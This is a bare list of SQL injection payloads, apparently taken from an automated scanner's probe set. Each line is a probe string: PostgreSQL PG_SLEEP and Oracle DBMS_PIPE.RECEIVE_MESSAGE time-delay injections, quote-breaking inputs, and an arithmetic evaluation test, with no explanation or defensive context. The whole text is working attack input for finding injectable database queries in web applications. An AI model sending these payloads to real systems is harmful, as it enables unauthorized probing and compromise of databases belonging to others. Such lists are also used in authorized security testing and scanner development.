1MDbhhzbk') OR 502=(SELECT 502 FROM PG_SLEEP(15))--

1L5c6jQVf')) OR 879=(SELECT 879 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

1

1'"

@@hu1JQ

(select 198766*667891)